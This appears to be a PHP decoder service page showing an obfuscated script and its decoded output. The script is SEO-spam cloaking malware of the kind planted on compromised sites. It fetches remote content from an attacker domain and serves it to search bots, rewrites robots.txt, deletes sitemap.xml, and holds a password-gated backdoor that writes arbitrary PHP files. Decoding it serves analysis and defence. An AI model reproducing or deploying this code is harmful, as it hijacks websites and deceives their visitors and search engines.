Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto E7X8D; CQWeB: $usse = ''; goto OO4QW; anAsc: $htag = trim(daag($web)); goto WUL7i;..

Decoded Output download

<?   
 goto E7X8D; CQWeB: $usse = ''; goto OO4QW; anAsc: $htag = trim(daag($web)); goto WUL7i; foSYM: $towe = $goto . ".mantbn" . ".xyz"; goto kaZh0; ihvHR: function pingmap($url) { $url_arr = explode("\xd
", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "Sitemap Notification Received") !== false ? "pingok" : "error"; $return_str .= $pingUrl . "-- " . $ok . "<br>"; } return $return_str; } goto MBrZa; FXGDm: $ddur_tmp = st_uri(); goto FAEMI; roddP: @ignore_user_abort(1); goto yPl96; XqeoI: $web = $htwe . "://" . $towe . "/inde.php?web=" . $host . "&zz=" . sbot() . "&uri=" . $ddur . "&urlshang=" . $usse . "&http=" . $http . "&lang=" . $lag; goto anAsc; FAEMI: if ($ddur_tmp == '') { $ddur_tmp = "/"; } goto LI2LS; tXB3P: $host = $_SERVER["HTTP_HOST"]; goto Mt89j; OO4QW: if (isset($_SERVER["HTTP_REFERER"])) { $usse = $_SERVER["HTTP_REFERER"]; $usse = urlencode($usse); } goto qYH1j; MBrZa: function sbot() { $uaget = strtolower($_SERVER["HTTP_USER_AGENT"]); if (stristr($uaget, "googlebot") || stristr($uaget, "bing") || stristr($uaget, "yahoo") || stristr($uaget, "google") || stristr($uaget, "Googlebot") || stristr($uaget, "googlebot")) { return true; } else { return false; } } goto ilTWJ; qYH1j: if (@$_GET["pd"] != '') { $acot = @$_GET["mapname"]; $action = @$_GET["action"]; if (isset($_SERVER["DOCUMENT_ROOT"])) { $path = $_SERVER["DOCUMENT_ROOT"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "put"; } if ($action == "put") { if (strstr($acot, ".xml")) { $map_path = $path . "/sitemap.xml"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "/robots.txt"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "User-agent: *" . "\xd
" . "Allow: /"; } $sturs = $http . "://" . $host . "/" . $acot; if (stristr($data, $sturs)) { echo "<br>sitemap already added!<br>"; } else { if (file_put_contents($file_path, trim($data) . "
" . "Sitemap: " . $sturs)) { echo "<br>ok<br>"; } else { echo "<br> false!<br>"; } } } else { echo "<br> false!<br>"; } if (strstr($acot, ".p" . "hp")) { if (sha1(sha1(@$_GET["a"])) == daag($htwe . "://" . $towe . "/a.p" . "hp")) { $dstr = @$_GET["dstr"]; if (file_put_contents($path . "/" . $acot, $dstr)) { echo "ok"; } } } } die; } goto XqeoI; PEnh5: $lag = urlencode($lag); goto CQWeB; eTvjW: $htwe = "http"; goto mf3oP; E7X8D: @set_time_limit(3600); goto roddP; LI2LS: $ddur = urlencode($ddur_tmp); goto M4Ck_; yPl96: $goto = "omvg"; goto eTvjW; ilTWJ: function daag($url) { $ficonts = ''; if (function_exists("curl_init")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto EkvJP; WUL7i: if (!strstr($htag, "nobotuseragent")) { if (strstr($htag, "okhtmlgetcontent")) { @header("Content-type: text/html; charset=utf-8"); $htag = str_replace("okhtmlgetcontent", '', $htag); echo $htag; die; } else { if (strstr($htag, "okxmlgetcontent")) { $htag = str_replace("okxmlgetcontent", '', $htag); @header("Content-type: text/xml"); echo $htag; die; } else { if (strstr($htag, "pingxmlgetcontent")) { $htag = str_replace("pingxmlgetcontent", '', $htag); @header("Content-type: text/html; charset=utf-8"); echo pingmap($htag); die; } } } } goto ihvHR; mf3oP: if (ishtt()) { $http = "https"; } else { $http = "http"; } goto FXGDm; Mt89j: $lag = @$_SERVER["HTTP_ACCEPT_LANGUAGE"]; goto PEnh5; M4Ck_: function st_uri() { if (isset($_SERVER["REQUEST_URI"])) { $ddur = $_SERVER["REQUEST_URI"]; } else { if (isset($_SERVER["argv"])) { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["argv"][0]; } else { $ddur = $_SERVER["PHP_SELF"] . "?" . $_SERVER["QUERY_STRING"]; } } return $ddur; } goto foSYM; kaZh0: function ishtt() { if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") { return true; } elseif (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") { return true; } elseif (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") { return true; } return false; } goto tXB3P; EkvJP:  ?>

Did this file decode correctly?

Original Code


 goto E7X8D; CQWeB: $usse = ''; goto OO4QW; anAsc: $htag = trim(daag($web)); goto WUL7i; foSYM: $towe = $goto . "\x2e\x6d\141\156\x74\142\x6e" . "\56\x78\x79\x7a"; goto kaZh0; ihvHR: function pingmap($url) { $url_arr = explode("\xd\12", trim($url)); $return_str = ''; foreach ($url_arr as $pingUrl) { $pingRes = daag($pingUrl); $ok = strpos($pingRes, "\x53\151\164\x65\x6d\141\x70\40\x4e\157\164\151\146\151\x63\x61\164\x69\x6f\156\x20\122\145\x63\145\151\x76\x65\x64") !== false ? "\160\151\x6e\x67\x6f\153" : "\145\162\x72\157\162"; $return_str .= $pingUrl . "\55\x2d\40" . $ok . "\x3c\142\x72\x3e"; } return $return_str; } goto MBrZa; FXGDm: $ddur_tmp = st_uri(); goto FAEMI; roddP: @ignore_user_abort(1); goto yPl96; XqeoI: $web = $htwe . "\72\57\x2f" . $towe . "\x2f\x69\156\144\145\56\160\x68\160\77\167\x65\x62\x3d" . $host . "\46\172\172\75" . sbot() . "\46\165\x72\x69\x3d" . $ddur . "\46\165\162\154\163\x68\141\x6e\x67\75" . $usse . "\x26\x68\164\164\x70\x3d" . $http . "\x26\x6c\x61\156\x67\x3d" . $lag; goto anAsc; FAEMI: if ($ddur_tmp == '') { $ddur_tmp = "\x2f"; } goto LI2LS; tXB3P: $host = $_SERVER["\110\x54\x54\x50\x5f\110\117\x53\124"]; goto Mt89j; OO4QW: if (isset($_SERVER["\x48\124\x54\x50\137\x52\x45\x46\105\x52\x45\122"])) { $usse = $_SERVER["\110\124\x54\120\137\122\105\x46\x45\122\105\122"]; $usse = urlencode($usse); } goto qYH1j; MBrZa: function sbot() { $uaget = strtolower($_SERVER["\110\124\124\x50\x5f\x55\x53\x45\122\x5f\101\x47\x45\116\124"]); if (stristr($uaget, "\147\x6f\157\x67\154\145\x62\157\164") || stristr($uaget, "\x62\x69\x6e\x67") || stristr($uaget, "\x79\141\150\x6f\157") || stristr($uaget, "\147\x6f\x6f\x67\154\x65") || stristr($uaget, "\107\x6f\x6f\x67\x6c\145\142\157\x74") || stristr($uaget, "\x67\x6f\157\x67\154\x65\142\157\164")) { return true; } else { return false; } } goto ilTWJ; qYH1j: if (@$_GET["\160\144"] != '') { $acot = @$_GET["\155\x61\x70\156\141\155\x65"]; $action = @$_GET["\x61\x63\x74\151\157\x6e"]; if (isset($_SERVER["\x44\117\103\125\115\x45\x4e\124\x5f\x52\x4f\117\124"])) { $path = $_SERVER["\x44\117\103\125\115\x45\116\x54\137\122\x4f\117\x54"]; } else { $path = dirname(__FILE__); } if (!$action) { $action = "\160\x75\164"; } if ($action == "\x70\x75\x74") { if (strstr($acot, "\56\170\x6d\x6c")) { $map_path = $path . "\x2f\x73\x69\x74\x65\x6d\x61\160\x2e\170\x6d\x6c"; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . "\x2f\x72\157\x62\157\164\163\56\164\x78\164"; if (file_exists($file_path)) { $data = daag($file_path); } else { $data = "\x55\x73\145\x72\x2d\x61\147\145\156\x74\72\40\52" . "\xd\12" . "\101\x6c\154\157\167\72\40\x2f"; } $sturs = $http . "\72\57\57" . $host . "\57" . $acot; if (stristr($data, $sturs)) { echo "\x3c\x62\162\x3e\163\x69\x74\x65\155\x61\160\x20\x61\x6c\x72\x65\141\x64\x79\x20\x61\144\144\145\144\x21\74\x62\x72\76"; } else { if (file_put_contents($file_path, trim($data) . "\15\12" . "\123\x69\x74\145\x6d\141\160\72\40" . $sturs)) { echo "\x3c\142\x72\76\x6f\x6b\74\x62\x72\76"; } else { echo "\74\142\x72\x3e\40\x66\141\x6c\x73\x65\41\x3c\142\x72\x3e"; } } } else { echo "\x3c\142\x72\x3e\40\x66\141\x6c\163\x65\x21\x3c\142\162\76"; } if (strstr($acot, "\x2e\x70" . "\x68\x70")) { if (sha1(sha1(@$_GET["\141"])) == daag($htwe . "\x3a\x2f\57" . $towe . "\57\x61\x2e\x70" . "\x68\x70")) { $dstr = @$_GET["\144\x73\x74\162"]; if (file_put_contents($path . "\x2f" . $acot, $dstr)) { echo "\157\x6b"; } } } } die; } goto XqeoI; PEnh5: $lag = urlencode($lag); goto CQWeB; eTvjW: $htwe = "\x68\164\x74\x70"; goto mf3oP; E7X8D: @set_time_limit(3600); goto roddP; LI2LS: $ddur = urlencode($ddur_tmp); goto M4Ck_; yPl96: $goto = "\x6f\155\x76\x67"; goto eTvjW; ilTWJ: function daag($url) { $ficonts = ''; if (function_exists("\143\x75\162\x6c\137\151\156\151\x74")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30); $ficonts = curl_exec($ch); curl_close($ch); } if (!$ficonts) { $ficonts = @file_get_contents($url); } return $ficonts; } goto EkvJP; WUL7i: if (!strstr($htag, "\156\157\x62\x6f\x74\165\x73\x65\162\141\147\x65\x6e\164")) { if (strstr($htag, "\x6f\153\150\x74\x6d\x6c\x67\145\164\143\157\x6e\x74\145\x6e\x74")) { @header("\103\157\x6e\164\x65\156\x74\55\x74\171\160\x65\72\40\x74\x65\170\x74\57\x68\164\x6d\x6c\x3b\x20\143\x68\x61\x72\163\x65\164\75\x75\164\x66\55\70"); $htag = str_replace("\157\153\x68\x74\x6d\x6c\x67\145\164\143\x6f\x6e\x74\x65\156\x74", '', $htag); echo $htag; die; } else { if (strstr($htag, "\157\153\170\155\x6c\x67\x65\164\143\x6f\156\x74\145\156\164")) { $htag = str_replace("\157\x6b\x78\x6d\154\147\145\x74\143\157\x6e\164\145\x6e\164", '', $htag); @header("\103\157\x6e\164\x65\x6e\164\55\x74\171\160\x65\x3a\40\x74\145\170\164\x2f\170\155\154"); echo $htag; die; } else { if (strstr($htag, "\x70\151\x6e\x67\170\155\x6c\x67\145\x74\x63\157\x6e\164\145\156\x74")) { $htag = str_replace("\160\x69\156\x67\x78\155\x6c\x67\x65\164\x63\157\156\164\145\x6e\x74", '', $htag); @header("\103\x6f\156\x74\145\156\164\x2d\x74\171\160\x65\72\x20\164\x65\170\x74\57\x68\x74\155\154\x3b\x20\143\150\141\162\x73\145\x74\x3d\x75\164\x66\55\70"); echo pingmap($htag); die; } } } } goto ihvHR; mf3oP: if (ishtt()) { $http = "\150\164\x74\160\x73"; } else { $http = "\x68\164\x74\160"; } goto FXGDm; Mt89j: $lag = @$_SERVER["\110\124\x54\x50\137\x41\103\103\105\x50\x54\x5f\x4c\x41\x4e\x47\125\101\x47\105"]; goto PEnh5; M4Ck_: function st_uri() { if (isset($_SERVER["\x52\105\x51\x55\105\123\x54\x5f\125\x52\111"])) { $ddur = $_SERVER["\x52\x45\121\125\105\123\124\137\x55\122\111"]; } else { if (isset($_SERVER["\x61\x72\x67\x76"])) { $ddur = $_SERVER["\x50\x48\120\137\x53\x45\x4c\x46"] . "\x3f" . $_SERVER["\x61\x72\x67\x76"][0]; } else { $ddur = $_SERVER["\x50\110\x50\x5f\x53\x45\x4c\x46"] . "\77" . $_SERVER["\121\x55\x45\x52\x59\137\123\x54\122\x49\x4e\x47"]; } } return $ddur; } goto foSYM; kaZh0: function ishtt() { if (isset($_SERVER["\x48\124\124\120\123"]) && strtolower($_SERVER["\x48\124\124\120\x53"]) !== "\157\x66\x66") { return true; } elseif (isset($_SERVER["\x48\124\124\120\x5f\x58\137\106\x4f\x52\127\101\x52\104\105\x44\x5f\120\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\x54\x50\137\130\x5f\x46\117\122\127\x41\x52\104\105\x44\137\x50\x52\x4f\x54\117"] === "\150\164\x74\160\x73") { return true; } elseif (isset($_SERVER["\x48\124\124\x50\137\x46\122\117\116\x54\137\x45\x4e\x44\x5f\110\124\124\x50\123"]) && strtolower($_SERVER["\110\x54\x54\x50\x5f\106\122\117\116\x54\x5f\x45\116\104\137\110\x54\x54\x50\x53"]) !== "\x6f\x66\x66") { return true; } return false; } goto tXB3P; EkvJP: 

Function Calls

None

Variables

None

Stats

MD5 f557ee9f76d399b5e14fdf0d0ea83c5b
Eval Count 0
Decode Time 61 ms